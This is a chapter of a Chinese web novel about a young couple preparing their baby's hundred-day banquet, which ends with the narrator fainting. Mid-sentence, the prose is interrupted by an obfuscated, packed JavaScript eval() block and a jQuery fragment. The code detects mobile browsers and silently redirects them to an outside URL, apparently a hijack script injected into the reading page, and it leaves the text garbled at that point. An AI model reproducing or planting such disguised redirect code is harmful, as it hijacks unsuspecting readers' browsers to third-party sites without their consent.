“什……百日宴?”
桑林错愕,才想起小天现在也已经两个多月了。
如果要办百日宴,时间就只剩下……
两个星期!
他上一次面对这种宴会还是上次。
大约是升学酒,那也已经是好几年前了,全程没让他操心,他只负责吃吃喝喝,给长辈同学们敬酒,其余的事情都是家里人在操办。
现在这种责任居然落到他头上了。
桑林立马坐直了身子,严阵以待,也捡起一支笔来,用力点点头:“好,那我们要做什么呢?什么时候开始?要邀请谁?”
梁嘉树被他这副模样逗笑了,安抚道:“不用这么紧张,没那么复杂的。”
“可是我没有经验嘛……而且我们要好好弄,时间会不会来不及啊?”桑林扯着嘴角,心里并没有安定多少。
“没关系,慢慢来,从第一步开始,先确定邀请谁吧。”男人执笔,在白纸上写下几个字,笔尖轻点,“我的计划是,举办一个小型的宴会就够了,毕竟应付那么多人,么么的精力受不住,你也会累。”
“那就邀请双方家人?”
“你也可以邀请一些朋友。”
桑林冥思苦想,也没想出来有什么可以邀请的人。
到目前为止,他认识的好像也就一个……那个谁?前两天卖戒指那个。
好像无关紧要呢。
他摇摇头,道:“还是你来吧,我没什么人。”
梁嘉树点头,把“名单”两个字圈起,暂时抛弃了这个问题,又指向一旁的“场地”。
“如果场地需求不大,那就找酒店租一个礼厅就好,我已经提前做了几个备选方案,在时间上都有空余,不过要找个时间线下去看看,再做决定。”
桑林先是赞同,而后又反应过来,——梁嘉树居然在他不知道的地方,已经做了这么多打算。
而自己……唉。
怎么能这么没用。他暗自唾弃。
“那我们什么时候去看?要带上么么一起吗?”
“我约了时间,这两天就可以。不过距离比较远,开车也需要一段时间。桑桑,你没关系吗?”梁嘉树对于他严重晕车一事,很是担忧。
“没事的,多坐几次就习惯了。”桑林一拍胸口。
“好,那还有一件重要的事,”梁嘉树在最后一个词下方重重划了两笔,“试衣服,拍照。”
“嗯?”桑林眨眨眼,“这有什么重要的?”
“桑桑,你忘记了吗?”梁嘉树轻笑,抬眼与他对视,“我们俩,还缺了一套婚礼照。”
“婚……”礼照?
桑林尚未明白这个词的含义。
“我们找个时间,去拍一套吧。么么也要拍百日照,再拍张全家福,好吗?”
望着对方恳切的眼眸,桑林不明所以,但还是点头了。
拍全家福……应该很正常吧?就像别的夫妻、别的家长一样。
梁嘉树微微一笑:“好。时间上可能有点紧,所以我们今天下午就要出发,在这之前——”
他起身,朝桑林递出手:“桑桑,试试那套西装吧。”
那套锁在衣柜里,从没被主人穿上过,尚不知晓合身与否的西装。
十分钟后,他从换衣间里走出来。
这还是他头一次穿得这么隆重。白色西装尺寸刚刚好,是微微修身的版型,勾勒出少年纤细的腰身。
桑林本就瘦而高,虽然他身高只有一米七六,四舍五入也算是一米八了,只不过在梁嘉树身边时,被对方衬得海拔略低。
但单放在人群里,也是格外出挑的相貌。
在这身衣服之下,他整个人更加修长,却也单薄,俨然是一位从童话里走出来的王子,面上还带着几分青涩与紧张。
“感觉好怪……我还是第一次穿西装呢。”
梁嘉树已经在外面等着了,两手环胸靠在门边,见他出来,嘴角轻轻勾起弧度:“不怪,很好看。”
他有些脸红,手不自在的捏着下摆,小声说:“你别取笑我了。”
他在镜子前打量着自己的样子,左看右看,像看着一个陌生人。男人缓步走来,在他身后,比他足足高了一大截,伸手从背后虚虚环住他,为他整理衣领。
桑林下意识仰着头,男人的指尖有意无意划过他颈侧,带来一丝痒意,声音在耳后响起,带着磨砂般颗粒的质感:
“好像还缺一条领带。”
“太隆重了吧。”桑林拧眉,还是不太习惯这副盛装打扮。
“刚刚好。”
桑林半信半疑。
“找个时间再定制一套吧,这个只能算样衣,”梁嘉树伸手,隔着衣料,在他腰处比划,“你腰太细了,这里不太合身。”
他这话里并没有什么旖旎意味,就好像只是随口一提,不知为何,桑林却有点脸红。
什么意思,说他瘦的像柴?
可他低头一看,男人的手撑开一拃,就几乎有他整个腰宽了。
对比起来,的确是……
细狗。
桑林整个人都萎靡了,他拧着眉,小声抗议道:“我没有很瘦了,我有好好吃饭。”
“我知道。”梁嘉树点头表示赞同,“你吃得很香。”
下一秒就挨了一记眼刀。
只不过轻飘飘的,没什么杀伤力,从俯视的角度看下去,更像撒娇。
撒娇精。
简单试穿过后,桑林就把衣服换下来了,宽大的居家服套在身上,裤管和衣摆都是空荡荡的,他却觉得舒服极了。
还是这样自在!
下午出行,带着小天不甚方便,在去看礼厅之前,梁嘉树先驱车去了父母家里一趟,让他们暂时照顾小天一下午。
梁母正念叨着孙子呢,一拍手就答应了,让他俩放心去。
“一共有几个场呀?”
“三个。今天先看两个,剩下一个在反方向,明天再去。”
“好。”
虽说两人是一块儿去的,但全程都是梁嘉树在和酒店方聊天,桑林跟着他身旁,除了傻笑,也不知能做些什么。
“这里是不是太大啦?好像有几十桌呢,我们要请那么多人吗?”他趁着经理离开,踮着脚在梁嘉树耳畔小声说。
“的确是三个里面最大的。桌子可以撤掉,安排别的东西也没关系,现在看了两个,哪个比较合眼缘?”
桑林眨眨眼:“你来决定就好啦,我什么都不懂,是不是好没用?”
“怎么会?”梁嘉树牵住他手腕,“你是一家之主,我听你的。”
一家之主?啊?他吗?
经理拿着平面图回来,正好听见这一句,不禁打趣:“两位还真是恩爱呢。”
桑林差点没往地缝里钻。
看了两个厅,他最满意的的还是第一个,不算多么华丽,但布置得很梦幻,大片青绿色的丝带薄纱,像绿野仙踪里的场景,充满了生命气息。
梁嘉树见他喜欢,也跟着敲定了这个厅。
但当经理说出价格的那一刻,桑林几乎不敢相信自己听到的东西。
这么贵?!
他几乎都要伸手去接经理递过来的合同了,听完价格,死死握着笔不敢动弹。
身旁男人看出他的窘迫,低声询问:“怎么了,不满意吗?”
经理也用灼灼的目光盯着他,嘴里还在不断夸赞这个礼堂有多么合适、多么适合办满月酒、显得多么重视他们的孩子……
他望了望两人,嘴唇蠕动着,不好意思当着主办的面说出来,只能用求助的目光看着男人。
后者了然,借口上厕所,把桑林带了出去。
“这个也……太贵了,一天居然要一万多,咱们还是换一个吧。”
“钱不是问题,桑桑喜欢的话,多少钱都没关系。”梁嘉树安抚道。
可桑林思来想去,还是觉得太不值。毕竟只是一个场地,可能还有别的花费,光在这里就花了这么多钱,后面还有各种各样的事情要做,各种钱要花……
这毕竟不是他自己挣来的钱,花得小心翼翼也再正常不过了。
对方懂得了他的内心,没有逼迫,只是说:“那我们再看最后一个,没关系的。”
看完礼厅之后,已经是晚上七点钟。
虽然没干什么体力活,但桑林还是觉得很疲惫,好险没在车上就睡着。
接回小天后,他才慢慢恢复了清醒,睁开眼就看见一旁的小天对着自己伸开双手,想要往他怀里爬,却被婴儿座椅束缚住了,急得要掉眼泪。
“啊啊!呀!”
他解开束带,把小天抱在腿上:“今天有没有乖乖听话呀?”
“妈说他很乖。想哭的时候,拿你的照片给他看,他就不哭了。”
“真的假的?你别骗我。”他只当对方在开玩笑,心里是不信的。
虽然说自己是小天名义上的监护人,但桑林自己心里清楚,他来到这个世界,甚至还不到一个月,哪里会有这么深的依赖?
“呀呀!”
看着那稚嫩可爱的面容,他心里也跟着软了一片,他把小天抱在怀里,轻轻抚摸他的脑袋,声音很小,几乎听不见:“我会好好陪你长大的。”
回家路上,一路平稳,小天也安安静静地眯着眼,不吵不闹。
宁静的氛围,加上他本身就晕车,桑林也一下一下地合眼,差点又要睡着了。
“桑桑,”驾驶位上,梁嘉树正在等待红灯,抬眼从后视镜里看向后座困倦的年轻人,“你最近是不是太困了?”
“啊?”桑林一愣,眉头微微皱起,下意识回想了下自己这几天的状况。
好像还真是。
不知道从哪天开始,他睡的时间越来越久,也更容易困在那些不知名的梦境中,无法动弹。
醒来的那一刻,又把梦忘了个干净。
是有点怪。
“要不要去检查一下?”
“不用了吧……”不知为何,他本能抵触充满消毒水味的医院。
“我应该只是太累了,没关系的,不用担心啦,我身体很好的,你看我每天都吃那么多~”
梁嘉树颔首,还不忘
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17455231|200921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
最后提醒一句:“有不舒服一定要告诉我,好么?”
“好。”
……
筹备百日宴的半月转眼而过,今天就是小天出生第一百天了。
全家严阵以待,就连爱睡懒觉的桑林都一大早爬了起来,换上一身专门买的轻便衣服,——这并不是之前那套白色西装,毕竟太过隆重,也不方便行动。
况且,今天的主角可是小天呀!
“他醒了吗?”桑林推开客卧的门,步子很轻。
“呀呀!”
孩童的笑声先一步回答了他的问题。
“刚换完尿布。”梁嘉树转身,把换下来的尿布包好丢进垃圾桶,“桑桑今天起这么早?不再睡一会吗?”
“不早啦,我们不是八点就要出发吗?现在都六点半了。”桑林摇摇头,站在摇篮边,轻轻摇晃,“你去洗漱吧,我给他穿衣服。”
“好。”
两人分工合作,不到半个小时就收拾好了一切,梁嘉树也换了身和他般配的休闲装,白色衬衫搭配蓝色休闲裤,头发梳的整齐。
就连小天也被打扮成了红彤彤的小福娃,戴着定制的老虎帽,笑盈盈的很是可爱。
“桑桑,来。”梁嘉树招手,示意他靠近,随后取出一小捆胸花,别在了他蓝色开衫的领口上。
“谢谢,我也帮你哦。”桑林仰头,冲他露出灿烂的笑容,也学着他的样子,在他衬衫领口别了花。
“走吧。”
车子一路驶向酒店,在经理的接引下,两人来到布置好的礼厅,门前的海报上,是前几天新拍的照片。
照片上,两人一站一坐,小天坐在桑林腿上,而梁嘉树站在两人身后,手搭在桑林肩上,两人面带微笑,看向镜头。
相机定格这一瞬间。
“爸,妈。”
梁父梁母早早就在门前等候,一见他们,便迎上来,梁母喜笑颜开:“桑桑今天穿得真好看哟,快,让我抱抱我的乖孙来!”
“伯父伯母好。”桑林腼腆一笑,对于出席这种场合,还是不大自在。
尤其是梁家的亲戚朋友一个接一个到来,而他的身旁空荡荡,竟然一个亲人也没有。
特地留出来的“娘家”一桌,空无一人。
他看着那空荡荡的座位,心里浮现出一种“就是这样没错”的想法,同时又诞生出来更大的空虚。
他的父母呢?亲人呢?
怎么像是,从来不存在一样?
“怎么了?不舒服吗?”梁嘉树发现了他的不对劲,手向下牵住他,在他耳边询问。
桑林回神,撑着笑容摇摇头:“就是有点困,我好像不适合早起。”
“是我考虑不周,抱歉,再坚持半个小时,客人差不多来齐了,一会就可以进场坐下。”
“没关系的,梁先生,我没那么脆弱啦。”他仰着脸笑,身上的阴霾拨云见日。
半小时后,正式入场。
梁嘉树看了眼他,悄悄把“桑父”、“桑母”的牌子收了起来,桑林没注意到,还在低着头逗弄小天。
他牵着桑林坐下,给他倒了杯果汁,低声道:“饿不饿?很快就上菜了。”
桑林感激他的体贴,心里也轻松不少,小小抿了一口,又同他一起站起身来,向在场的亲朋友好们敬酒。
“各位长辈、亲朋好友,大家好。”梁嘉树举着酒杯,视线扫过全场,“今天是小天出生的第一百天。感谢大家放下忙碌,来见证这个小小的幸福时刻。也感谢我的父母,我的爱人,与我共度此刻。而我爱人的父母身在国外,赶不回来,无奈缺席,还望海涵。”
“我们敬大家一杯,祝各位玩得愉快。”以茶代酒,一饮而空。
桑林眼尾也洋溢着幸福,在众人的恭喜声中,喝掉了杯里的果汁。
在上菜之前,还有一件重要的事。
——抓周。
在宽大平坦的圆桌上,铺着红色的绒布,桌上一圈摆放着八个物品。
笔,书,算盘,砚台,画板,地球仪,官印,还有一只纯金的平安锁,无一不象征着两人对他美好的祝愿。
小天被放在正中间,懵懂地张望。
众人后退几步,等待他做出选择。
他坐在原地没动,望了一圈,最后视线直直落在两人身上。
桑林朝他一笑,柔声呼唤:“么么,快选呀。”
没有任何犹豫,小天放弃了所有东西,朝他爬了过来。
小小的身子一摇一晃,好几次都差点要扑倒在桌上,却始终没有改变过方向。
就在距离不到半米的时候,小天一脚踢开身前的阻碍,努力直起身子,向着桑林张开小手。
“他选了你,桑桑。”梁嘉树低声笑道。
“选我做什么,我又不是抓周的东西。”桑林受宠若惊,嘴上这么说,却还是向前一步,想要去抱起小天。
就在他迈开步子的那一瞬间,耳边轰鸣。
他面色一变,努力站稳身体,却还是抵挡不住那突如其来的眩晕,两眼一黑,失去了意识。
“桑桑!”